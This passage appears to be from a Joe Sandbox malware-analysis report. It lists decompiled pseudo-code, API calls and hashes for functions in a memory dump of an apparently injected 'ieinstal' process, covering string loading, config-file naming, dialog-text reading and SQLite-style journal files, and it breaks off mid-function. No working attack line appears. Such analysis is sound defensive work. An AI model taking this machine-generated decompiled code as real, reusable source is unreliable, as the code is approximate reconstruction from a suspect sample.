                                                                                                                            • Instruction ID: 1dd795ac5698d536b98d54c3d0ab6bca04534a71b571f2ddc62e59a9adc8dd8d
                                                                                                                            • Opcode Fuzzy Hash: 8542788a6fbd662e622ac6317d91a932690acc9b8880ba19fbfc79209a0c02cc
                                                                                                                            • Instruction Fuzzy Hash: 3C514D71108341AFD720DF25DC84ADBB7E8FF84705F004A2EF59992291EB75DA44CBAA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D134 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 55%
                                                                                                                            			E0040D134(signed short __ebx) {
				signed int _t21;
				void* _t22;
				struct HINSTANCE__* _t25;
				signed int _t27;
				void* _t35;
				signed short _t39;
				signed int _t40;
				void* _t57;
				int _t61;
				void* _t62;
				int _t71;

				_t39 = __ebx;
				if( *0x45dc28 == 0) {
					E0040D092();
				}
				_t40 =  *0x45dc20;
				_t21 = 0;
				if(_t40 <= 0) {
					L5:
					_t57 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x45dc18 + _t21 * 4))) {
						_t21 = _t21 + 1;
						if(_t21 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t57 =  *0x45dc10 +  *( *0x45dc1c + _t21 * 4) * 2;
				}
				L6:
				if(_t57 != 0) {
					L21:
					_t22 = _t57;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x45d458 == 0) {
							_push( *0x45dc30 - 1);
							_push( *0x45dc14);
							_push(_t39);
							_t25 = E0040D29A();
							goto L15;
						} else {
							wcscpy(0x45d668, "strings");
							_t35 = E0040D626(_t39,  *0x45dc14);
							_t62 = _t62 + 0x10;
							if(_t35 == 0) {
								L13:
								_t25 = GetModuleHandleW(0);
								_push( *0x45dc30 - 1);
								_push( *0x45dc14);
								_push(_t39);
								goto L15;
							} else {
								_t61 = wcslen( *0x45dc14);
								if(_t61 == 0) {
									goto L13;
								}
							}
						}
					} else {
						_t25 = GetModuleHandleW(_t57);
						_push( *0x45dc30 - 1);
						_push( *0x45dc14);
						_push(_t39 & 0x0000ffff);
						L15:
						_t61 = LoadStringW(_t25, ??, ??, ??);
						_t71 = _t61;
					}
					if(_t71 <= 0) {
						L20:
						_t22 = 0x44e518;
					} else {
						_t27 =  *0x45dc24;
						if(_t27 + _t61 + 2 >=  *0x45dc28 ||  *0x45dc20 >=  *0x45dc2c) {
							goto L20;
						} else {
							_t57 =  *0x45dc10 + _t27 * 2;
							_t14 = _t61 + 2; // 0x2
							memcpy(_t57,  *0x45dc14, _t61 + _t14);
							 *( *0x45dc1c +  *0x45dc20 * 4) =  *0x45dc24;
							 *( *0x45dc18 +  *0x45dc20 * 4) = _t39;
							 *0x45dc20 =  *0x45dc20 + 1;
							 *0x45dc24 =  *0x45dc24 + _t61 + 1;
							if(_t57 != 0) {
								goto L21;
							} else {
								goto L20;
							}
						}
					}
				}
				return _t22;
			}














                                                                                                                            0x0040d134
                                                                                                                            0x0040d13b
                                                                                                                            0x0040d13d
                                                                                                                            0x0040d13d
                                                                                                                            0x0040d142
                                                                                                                            0x0040d149
                                                                                                                            0x0040d14e
                                                                                                                            0x0040d160
                                                                                                                            0x0040d160
                                                                                                                            0x0040d150
                                                                                                                            0x0040d150
                                                                                                                            0x0040d15b
                                                                                                                            0x0040d15e
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d15e
                                                                                                                            0x0040d19c
                                                                                                                            0x0040d19c
                                                                                                                            0x0040d162
                                                                                                                            0x0040d164
                                                                                                                            0x0040d295
                                                                                                                            0x0040d295
                                                                                                                            0x0040d16a
                                                                                                                            0x0040d170
                                                                                                                            0x0040d1a9
                                                                                                                            0x0040d1fe
                                                                                                                            0x0040d1ff
                                                                                                                            0x0040d205
                                                                                                                            0x0040d206
                                                                                                                            0x00000000
                                                                                                                            0x0040d1ab
                                                                                                                            0x0040d1b5
                                                                                                                            0x0040d1c1
                                                                                                                            0x0040d1c6
                                                                                                                            0x0040d1cb
                                                                                                                            0x0040d1df
                                                                                                                            0x0040d1e1
                                                                                                                            0x0040d1ee
                                                                                                                            0x0040d1ef
                                                                                                                            0x0040d1f5
                                                                                                                            0x00000000
                                                                                                                            0x0040d1cd
                                                                                                                            0x0040d1d8
                                                                                                                            0x0040d1dd
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d1dd
                                                                                                                            0x0040d1cb
                                                                                                                            0x0040d172
                                                                                                                            0x0040d173
                                                                                                                            0x0040d180
                                                                                                                            0x0040d181
                                                                                                                            0x0040d18a
                                                                                                                            0x0040d20b
                                                                                                                            0x0040d212
                                                                                                                            0x0040d214
                                                                                                                            0x0040d214
                                                                                                                            0x0040d216
                                                                                                                            0x0040d28e
                                                                                                                            0x0040d28e
                                                                                                                            0x0040d218
                                                                                                                            0x0040d218
                                                                                                                            0x0040d227
                                                                                                                            0x00000000
                                                                                                                            0x0040d237
                                                                                                                            0x0040d23d
                                                                                                                            0x0040d240
                                                                                                                            0x0040d24c
                                                                                                                            0x0040d262
                                                                                                                            0x0040d270
                                                                                                                            0x0040d27b
                                                                                                                            0x0040d287
                                                                                                                            0x0040d28c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040d28c
                                                                                                                            0x0040d227
                                                                                                                            0x0040d216
                                                                                                                            0x0040d299

                                                                                                                            APIs
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                            • wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                              • Part of subcall function 0040D626: memset.MSVCRT ref: 0040D639
                                                                                                                              • Part of subcall function 0040D626: _itow.MSVCRT ref: 0040D647
                                                                                                                            • wcslen.MSVCRT ref: 0040D1D3
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                            • LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                            • memcpy.MSVCRT ref: 0040D24C
                                                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0CC
                                                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D0EA
                                                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D108
                                                                                                                              • Part of subcall function 0040D092: ??2@YAPAXI@Z.MSVCRT ref: 0040D126
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                                                                                                                            • String ID: strings
                                                                                                                            • API String ID: 3166385802-3030018805
                                                                                                                            • Opcode ID: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                                                            • Instruction ID: f4589d763452722e7ce024d248fd6f149fceb83749f413ad0df853fa0cd60d20
                                                                                                                            • Opcode Fuzzy Hash: 1ff794482afb279d074c0027ae841dfa169eb318e5c6685fac8801d3cb652815
                                                                                                                            • Instruction Fuzzy Hash: 78418D75D003109BD7369FA8ED809263365FF48306700047EE942972A7DEB9E886CB5D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00411AC5 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 59COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 93%
                                                                                                                            			E00411AC5(intOrPtr _a4, intOrPtr _a8) {
				void _v530;
				long _v532;
				short _v1058;
				short _v1580;
				char _v1588;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t18;
				wchar_t* _t24;
				void* _t42;

				_t36 = _a4;
				if( *((intOrPtr*)(_a4 + 0x274)) == 0) {
					_v532 = 0;
					memset( &_v530, 0, 0x208);
					E00409BCA( &_v532);
					_t24 = wcsrchr( &_v532, 0x2e);
					_t50 = _t24;
					if(_t24 != 0) {
						 *_t24 = 0;
					}
					wcscat( &_v532, ".cfg");
					_pop(_t42);
					_v1588 = 0x454120;
					_v1580 = 0;
					_v1058 = 0;
					E00414770( &_v1588, _a8,  &_v532, "General");
					_t46 =  &_v1588;
					E00402AFB( *((intOrPtr*)(_t36 + 0x690)), _t42,  &_v1588, _t50);
					E004018DB(_t36, _t42,  &_v1588);
					return E0040EA13(_t46, _t42,  *((intOrPtr*)(_a4 + 0x694)));
				}
				return _t18;
			}














                                                                                                                            0x00411acf
                                                                                                                            0x00411adc
                                                                                                                            0x00411aef
                                                                                                                            0x00411af6
                                                                                                                            0x00411b05
                                                                                                                            0x00411b14
                                                                                                                            0x00411b19
                                                                                                                            0x00411b1d
                                                                                                                            0x00411b1f
                                                                                                                            0x00411b1f
                                                                                                                            0x00411b2e
                                                                                                                            0x00411b37
                                                                                                                            0x00411b4a
                                                                                                                            0x00411b54
                                                                                                                            0x00411b5b
                                                                                                                            0x00411b62
                                                                                                                            0x00411b6d
                                                                                                                            0x00411b73
                                                                                                                            0x00411b7a
                                                                                                                            0x00000000
                                                                                                                            0x00411b8a
                                                                                                                            0x00411b93

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00411AF6
                                                                                                                              • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                            • wcsrchr.MSVCRT ref: 00411B14
                                                                                                                            • wcscat.MSVCRT ref: 00411B2E
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileModuleNamememsetwcscatwcsrchr
                                                                                                                            • String ID: AE$.cfg$General$EA
                                                                                                                            • API String ID: 776488737-1622828088
                                                                                                                            • Opcode ID: b6de0e43a8c0916aab6107a9d450eab560a3e9a3f2f4477a4909840308f89baa
                                                                                                                            • Instruction ID: 09e7cc653f6f297407560738dd106e03d424c3973b250f6ebd227ee33dbedd02
                                                                                                                            • Opcode Fuzzy Hash: b6de0e43a8c0916aab6107a9d450eab560a3e9a3f2f4477a4909840308f89baa
                                                                                                                            • Instruction Fuzzy Hash: 9611B93250022C66DF20EF51DC85ACE7378FF54754F1004ABE908B7142DB74ABC88B99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D898 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 68%
                                                                                                                            			E0040D898(struct HWND__* _a4) {
				void _v514;
				short _v516;
				void _v8710;
				short _v8712;
				int _t16;
				WCHAR* _t25;

				0x44db70();
				_v8712 = 0;
				memset( &_v8710, 0, 0x2000);
				_t16 = GetDlgCtrlID(_a4);
				_t33 = _t16;
				GetWindowTextW(_a4,  &_v8712, 0x1000);
				if(_t16 > 0 && _v8712 != 0) {
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					GetClassNameW(_a4,  &_v516, 0xff);
					_t25 =  &_v516;
					0x44662e(_t25, "sysdatetimepick32");
					if(_t25 != 0) {
						E0040D76E(_t33,  &_v8712);
					}
				}
				return 1;
			}









                                                                                                                            0x0040d8a0
                                                                                                                            0x0040d8b6
                                                                                                                            0x0040d8bd
                                                                                                                            0x0040d8c8
                                                                                                                            0x0040d8ce
                                                                                                                            0x0040d8df
                                                                                                                            0x0040d8e7
                                                                                                                            0x0040d8ff
                                                                                                                            0x0040d906
                                                                                                                            0x0040d91d
                                                                                                                            0x0040d923
                                                                                                                            0x0040d92f
                                                                                                                            0x0040d938
                                                                                                                            0x0040d942
                                                                                                                            0x0040d948
                                                                                                                            0x0040d938
                                                                                                                            0x0040d94f

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040D8BD
                                                                                                                            • GetDlgCtrlID.USER32(?), ref: 0040D8C8
                                                                                                                            • GetWindowTextW.USER32(?,?,00001000), ref: 0040D8DF
                                                                                                                            • memset.MSVCRT ref: 0040D906
                                                                                                                            • GetClassNameW.USER32(?,?,000000FF), ref: 0040D91D
                                                                                                                            • _wcsicmp.MSVCRT ref: 0040D92F
                                                                                                                              • Part of subcall function 0040D76E: memset.MSVCRT ref: 0040D781
                                                                                                                              • Part of subcall function 0040D76E: _itow.MSVCRT ref: 0040D78F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
                                                                                                                            • String ID: sysdatetimepick32
                                                                                                                            • API String ID: 1028950076-4169760276
                                                                                                                            • Opcode ID: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                                                                                                                            • Instruction ID: 7fefccf0184427ff86f81c2eca1e08be5bb75bf3b76f29e65549559b88306b24
                                                                                                                            • Opcode Fuzzy Hash: eb3a53bf7b2f710d742758b2cc733c17be47e3e423eab4b3bd20e98515a4ffe8
                                                                                                                            • Instruction Fuzzy Hash: 061177769002197AEB10EB91DC49EDF7BACEF05750F0040BAF508D2192EB749A85CA59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041B7D9 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 269COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 93%
                                                                                                                            			E0041B7D9(unsigned int __eax, void* __ecx, void* __edx, int* _a4, signed int _a8, signed int _a12) {
				void* _v8;
				void* _v12;
				signed int _v16;
				char _v20;
				char _v24;
				signed int _v28;
				signed int _v32;
				void* __edi;
				void* __esi;
				intOrPtr _t119;
				void* _t123;
				void* _t124;
				intOrPtr _t125;
				intOrPtr _t126;
				intOrPtr _t127;
				void* _t128;
				signed int _t129;
				void* _t133;
				void* _t135;
				char _t139;
				signed int _t140;
				signed int _t141;
				signed int _t144;
				signed int _t149;
				intOrPtr _t151;
				void* _t158;
				void* _t161;
				void* _t167;
				int _t168;
				void* _t169;
				int _t171;
				char _t173;
				void* _t175;
				signed int _t180;
				intOrPtr* _t182;
				void* _t192;
				short _t196;
				void* _t206;
				int _t209;
				char* _t211;
				void* _t212;
				void* _t214;
				void* _t217;
				void* _t218;

				_t206 = __edx;
				_t212 = __ecx;
				_t171 = 0;
				_v28 =  !__eax & 0x00000001;
				_v32 = __eax >> 0x00000001 & 0x00000001;
				_t119 =  *((intOrPtr*)(__ecx + 4));
				_t180 = 0x28;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v20 = 0x400;
				if(_t119 <= _t180) {
					_v16 = _t180;
					_t120 = _t180;
				} else {
					_t120 = _t119 + 0x00000007 & 0xfffffff8;
					_v16 = _t119 + 0x00000007 & 0xfffffff8;
				}
				 *_a4 = _t171;
				_t182 = _a8;
				if(_t182 == _t171 ||  *_t182 == _t171) {
					L14:
					_t123 = E00415A6D(__eflags, ( *((intOrPtr*)(_t212 + 4)) + 0x00000007 & 0xfffffff8) + _t120 * 2 + 0xf7 + _t171 * 3);
					__eflags = _t123;
					if(_t123 != 0) {
						_t209 = _t123;
						_t124 = _t123 + 0xb8;
						 *(_t209 + 0xa8) = _t124;
						_t125 = _t124 + 0x30;
						 *((intOrPtr*)(_t209 + 0x3c)) = _t125;
						_t126 = _t125 + ( *((intOrPtr*)(_t212 + 4)) + 0x00000007 & 0xfffffff8);
						 *((intOrPtr*)(_t209 + 0x44)) = _t126;
						_t127 = _t126 + _v16;
						 *((intOrPtr*)(_t209 + 0x40)) = _t127;
						_t128 = _t127 + _v16;
						__eflags = _v12;
						 *(_t209 + 0x90) = _t128;
						if(_v12 != 0) {
							_t42 = _t171 + 1; // 0x1
							 *(_t209 + 0x94) = _t128 + _t42;
							memcpy(_t128, _v12, _t171);
							memcpy( *(_t209 + 0x94), _v12, _t171);
							memcpy( *(_t209 + 0x94) + _t171, "-journal", 8);
							_t158 =  *(_t209 + 0x94) + _t171 + 9;
							 *(_t209 + 0xb0) = _t158;
							memcpy(_t158, _v12, _t171);
							_t161 =  *(_t209 + 0xb0) + _t171;
							__eflags = _t161;
							memcpy(_t161, "-wal", 4);
							_t218 = _t218 + 0x3c;
							E0041589B(_v12);
						}
						_t192 = _a8;
						__eflags = _t192;
						_t129 = _a12;
						 *_t209 = _t212;
						 *(_t209 + 0x78) = _t129;
						if(_t192 == 0) {
							L26:
							_t173 = 1;
							 *((char*)(_t209 + 0xf)) = 1;
							 *((char*)(_t209 + 0x10)) = 4;
							_a8 = _t129 & 1;
						} else {
							__eflags =  *_t192;
							if( *_t192 == 0) {
								goto L26;
							}
							_v16 = _v16 & 0x00000000;
							_v8 = E004151E3(_t129, _t212,  *(_t209 + 0x90),  *((intOrPtr*)(_t209 + 0x3c)),  &_v16);
							_t149 = _v16 & 0x00000001;
							_t218 = _t218 + 0xc;
							__eflags = _v8;
							_a8 = _t149;
							if(_v8 != 0) {
								L30:
								E0041518C( *((intOrPtr*)(_t209 + 0x3c)));
								E0041589B(_t209);
								_t133 = _v8;
								goto L37;
							}
							__eflags = _t149;
							if(_t149 != 0) {
								L27:
								_t173 = _v24;
								L28:
								__eflags = _v8;
								if(_v8 != 0) {
									goto L30;
								}
								_t135 = E0041B1CA(_t209,  &_v20, 0xffffffff);
								__eflags = _t135;
								_v8 = _t135;
								if(_t135 == 0) {
									_t214 =  *(_t209 + 0xa8);
									memset(_t214, 0, 0x30);
									 *((intOrPtr*)(_t214 + 0x14)) = _v20;
									_t139 = 1;
									__eflags = _v32;
									_t196 = 0x50;
									 *((intOrPtr*)(_t214 + 0x18)) = _t196;
									 *((intOrPtr*)(_t214 + 0x1c)) = 1;
									 *((intOrPtr*)(_t214 + 0x20)) = E0041B715;
									 *(_t214 + 0x24) = _t209;
									 *((intOrPtr*)(_t214 + 0x10)) = 0x64;
									 *((char*)(_t209 + 6)) = _v28;
									if(_v32 == 0) {
										L33:
										_t139 = 0;
										__eflags = 0;
										L34:
										 *((char*)(_t209 + 7)) = _t139;
										_t140 = _a8;
										 *(_t209 + 0xd) = _t140;
										__eflags = _t173;
										_t141 = _t140 & 0xffffff00 | _t173 == 0x00000000;
										 *(_t209 + 9) = _t141;
										__eflags = _t173;
										 *(_t209 + 0x88) =  *(_t209 + 0x88) | 0xffffffff;
										 *(_t209 + 0x8c) =  *(_t209 + 0x8c) | 0xffffffff;
										 *((intOrPtr*)(_t209 + 0x84)) = 0x3fffffff;
										 *((char*)(_t209 + 0xc)) = _t173;
										 *((char*)(_t209 + 4)) = _t173;
										 *((char*)(_t209 + 0x11)) = _t173;
										 *((char*)(_t209 + 0xe)) = 0;
										_t144 = (_t141 & 0xffffff00 | _t173 != 0x00000000) - 0x00000001 & 0x00000002;
										 *((char*)(_t209 + 8)) = _t173;
										 *(_t209 + 0xb) = _t144;
										 *(_t209 + 0xa) = _t144;
										 *((short*)(_t209 + 0x74)) = _t196;
										E0041A9A0(_t209);
										__eflags = _v28;
										if(_v28 == 0) {
											 *((char*)(_t209 + 5)) = 2;
										}
										 *((intOrPtr*)(_t209 + 0xa0)) = E0041EE7A;
										 *_a4 = _t209;
										_t133 = 0;
										__eflags = 0;
										goto L37;
									}
									__eflags = _a8;
									if(_a8 != 0) {
										goto L34;
									}
									goto L33;
								}
								goto L30;
							}
							E0041A9A0(_t209);
							_t151 =  *((intOrPtr*)(_t209 + 0x7c));
							__eflags = _t151 - 0x400;
							if(_t151 <= 0x400) {
								goto L27;
							}
							_t173 = _v24;
							__eflags = _t151 - 0x2000;
							if(_t151 <= 0x2000) {
								_v20 = _t151;
							} else {
								_v20 = 0x2000;
							}
						}
						goto L28;
					}
					_t217 = 7;
					goto L12;
				} else {
					_t175 =  *((intOrPtr*)(_t212 + 8)) + 1;
					_t211 = E004156AA(_t206, _t175 + _t175);
					_v12 = _t211;
					if(_t211 != 0) {
						 *_t211 = 0;
						_t167 =  *((intOrPtr*)(_t212 + 0x24))(_t212, _a8, _t175, _t211);
						_t218 = _t218 + 0x10;
						_v8 = _t167;
						_t168 = E0041691B(_t211);
						__eflags = _v8;
						_t171 = _t168;
						if(_v8 != 0) {
							L11:
							_t217 = _v8;
							L12:
							E0041589B(_v12);
							_t133 = _t217;
							L37:
							return _t133;
						}
						_t19 = _t171 + 8; // 0x8
						_t169 = _t19;
						__eflags = _t169 -  *((intOrPtr*)(_t212 + 8));
						if(_t169 >  *((intOrPtr*)(_t212 + 8))) {
							0x444706(0x996e);
							_v8 = _t169;
						}
						__eflags = _v8;
						if(__eflags == 0) {
							_t120 = _v16;
							goto L14;
						} else {
							goto L11;
						}
					}
					_t133 = 7;
					goto L37;
				}
			}















































                                                                                                                            0x0041b7d9
                                                                                                                            0x0041b7e1
                                                                                                                            0x0041b7f0
                                                                                                                            0x0041b7f4
                                                                                                                            0x0041b7f7
                                                                                                                            0x0041b7fa
                                                                                                                            0x0041b7fd
                                                                                                                            0x0041b800
                                                                                                                            0x0041b803
                                                                                                                            0x0041b806
                                                                                                                            0x0041b809
                                                                                                                            0x0041b810
                                                                                                                            0x0041b81d
                                                                                                                            0x0041b820
                                                                                                                            0x0041b812
                                                                                                                            0x0041b815
                                                                                                                            0x0041b818
                                                                                                                            0x0041b818
                                                                                                                            0x0041b825
                                                                                                                            0x0041b827
                                                                                                                            0x0041b82c
                                                                                                                            0x0041b8a4
                                                                                                                            0x0041b8bd
                                                                                                                            0x0041b8c2
                                                                                                                            0x0041b8c5
                                                                                                                            0x0041b8cc
                                                                                                                            0x0041b8ce
                                                                                                                            0x0041b8d3
                                                                                                                            0x0041b8d9
                                                                                                                            0x0041b8dc
                                                                                                                            0x0041b8e8
                                                                                                                            0x0041b8ea
                                                                                                                            0x0041b8ed
                                                                                                                            0x0041b8f0
                                                                                                                            0x0041b8f3
                                                                                                                            0x0041b8f6
                                                                                                                            0x0041b8fa
                                                                                                                            0x0041b900
                                                                                                                            0x0041b906
                                                                                                                            0x0041b90b
                                                                                                                            0x0041b911
                                                                                                                            0x0041b923
                                                                                                                            0x0041b93b
                                                                                                                            0x0041b94d
                                                                                                                            0x0041b952
                                                                                                                            0x0041b958
                                                                                                                            0x0041b968
                                                                                                                            0x0041b968
                                                                                                                            0x0041b970
                                                                                                                            0x0041b975
                                                                                                                            0x0041b97b
                                                                                                                            0x0041b980
                                                                                                                            0x0041b981
                                                                                                                            0x0041b984
                                                                                                                            0x0041b986
                                                                                                                            0x0041b989
                                                                                                                            0x0041b98b
                                                                                                                            0x0041b98e
                                                                                                                            0x0041b9ed
                                                                                                                            0x0041b9ef
                                                                                                                            0x0041b9f2
                                                                                                                            0x0041b9f5
                                                                                                                            0x0041b9f9
                                                                                                                            0x0041b990
                                                                                                                            0x0041b990
                                                                                                                            0x0041b993
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041b995
                                                                                                                            0x0041b9ad
                                                                                                                            0x0041b9b3
                                                                                                                            0x0041b9b6
                                                                                                                            0x0041b9b9
                                                                                                                            0x0041b9bd
                                                                                                                            0x0041b9c0
                                                                                                                            0x0041ba1b
                                                                                                                            0x0041ba1e
                                                                                                                            0x0041ba24
                                                                                                                            0x0041ba29
                                                                                                                            0x00000000
                                                                                                                            0x0041ba2c
                                                                                                                            0x0041b9c2
                                                                                                                            0x0041b9c4
                                                                                                                            0x0041b9fe
                                                                                                                            0x0041b9fe
                                                                                                                            0x0041ba01
                                                                                                                            0x0041ba01
                                                                                                                            0x0041ba05
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041ba0d
                                                                                                                            0x0041ba12
                                                                                                                            0x0041ba16
                                                                                                                            0x0041ba19
                                                                                                                            0x0041ba32
                                                                                                                            0x0041ba3d
                                                                                                                            0x0041ba4b
                                                                                                                            0x0041ba52
                                                                                                                            0x0041ba53
                                                                                                                            0x0041ba57
                                                                                                                            0x0041ba58
                                                                                                                            0x0041ba5b
                                                                                                                            0x0041ba5e
                                                                                                                            0x0041ba65
                                                                                                                            0x0041ba68
                                                                                                                            0x0041ba6f
                                                                                                                            0x0041ba72
                                                                                                                            0x0041ba7a
                                                                                                                            0x0041ba7a
                                                                                                                            0x0041ba7a
                                                                                                                            0x0041ba7c
                                                                                                                            0x0041ba7c
                                                                                                                            0x0041ba7f
                                                                                                                            0x0041ba82
                                                                                                                            0x0041ba85
                                                                                                                            0x0041ba87
                                                                                                                            0x0041ba8a
                                                                                                                            0x0041ba8d
                                                                                                                            0x0041ba92
                                                                                                                            0x0041ba99
                                                                                                                            0x0041baa4
                                                                                                                            0x0041baae
                                                                                                                            0x0041bab1
                                                                                                                            0x0041bab4
                                                                                                                            0x0041bab7
                                                                                                                            0x0041babb
                                                                                                                            0x0041babe
                                                                                                                            0x0041bac1
                                                                                                                            0x0041bac4
                                                                                                                            0x0041bac7
                                                                                                                            0x0041bacb
                                                                                                                            0x0041bad0
                                                                                                                            0x0041bad4
                                                                                                                            0x0041bad6
                                                                                                                            0x0041bad6
                                                                                                                            0x0041badd
                                                                                                                            0x0041bae7
                                                                                                                            0x0041bae9
                                                                                                                            0x0041bae9
                                                                                                                            0x00000000
                                                                                                                            0x0041bae9
                                                                                                                            0x0041ba74
                                                                                                                            0x0041ba78
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041ba78
                                                                                                                            0x00000000
                                                                                                                            0x0041ba19
                                                                                                                            0x0041b9c8
                                                                                                                            0x0041b9cd
                                                                                                                            0x0041b9d0
                                                                                                                            0x0041b9d5
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041b9d7
                                                                                                                            0x0041b9df
                                                                                                                            0x0041b9e1
                                                                                                                            0x0041b9e8
                                                                                                                            0x0041b9e3
                                                                                                                            0x0041b9e3
                                                                                                                            0x0041b9e3
                                                                                                                            0x0041b9e1
                                                                                                                            0x00000000
                                                                                                                            0x0041b98e
                                                                                                                            0x0041b8c9
                                                                                                                            0x00000000
                                                                                                                            0x0041b832
                                                                                                                            0x0041b835
                                                                                                                            0x0041b83f
                                                                                                                            0x0041b844
                                                                                                                            0x0041b847
                                                                                                                            0x0041b856
                                                                                                                            0x0041b85a
                                                                                                                            0x0041b85d
                                                                                                                            0x0041b862
                                                                                                                            0x0041b865
                                                                                                                            0x0041b86a
                                                                                                                            0x0041b86e
                                                                                                                            0x0041b870
                                                                                                                            0x0041b88e
                                                                                                                            0x0041b88e
                                                                                                                            0x0041b891
                                                                                                                            0x0041b894
                                                                                                                            0x0041b89a
                                                                                                                            0x0041baeb
                                                                                                                            0x0041baef
                                                                                                                            0x0041baef
                                                                                                                            0x0041b872
                                                                                                                            0x0041b872
                                                                                                                            0x0041b875
                                                                                                                            0x0041b878
                                                                                                                            0x0041b87f
                                                                                                                            0x0041b885
                                                                                                                            0x0041b885
                                                                                                                            0x0041b888
                                                                                                                            0x0041b88c
                                                                                                                            0x0041b8a1
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0041b88c
                                                                                                                            0x0041b84b
                                                                                                                            0x00000000
                                                                                                                            0x0041b84b

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memset
                                                                                                                            • String ID: -journal$-wal
                                                                                                                            • API String ID: 438689982-2894717839
                                                                                                                            • Opcode ID: 965c02802761a55e0061e92969816aff726aa0d1351d00bdcf48ae58f88995ef
                                                                                                                            • Instruction ID: 9370885b9bf0560d7aa4477d28ce4586d78acc2621466e64c0ac2b95c9c5353a
                                                                                                                            • Opcode Fuzzy Hash: 965c02802761a55e0061e92969816aff726aa0d1351d00bdcf48ae58f88995ef
                                                                                                                            • Instruction Fuzzy Hash: CBA1EFB1A04606EFCB14DF69C8417DAFBB4FF04314F14826EE46897381D738AA95CB99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00405B83 Relevance: 12.2, APIs: 8, Instructions: 197windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00405B83(void* __ecx, intOrPtr _a4, unsigned int _a8, intOrPtr* _a12) {
				void* __edi;
				void* __esi;
				void* _t75;
				signed int _t77;
				signed int _t91;
				signed int _t92;
				void* _t100;
				void* _t104;
				short* _t122;
				unsigned int _t128;
				intOrPtr _t131;
				signed int _t134;
				signed int _t148;
				void* _t149;
				void* _t150;
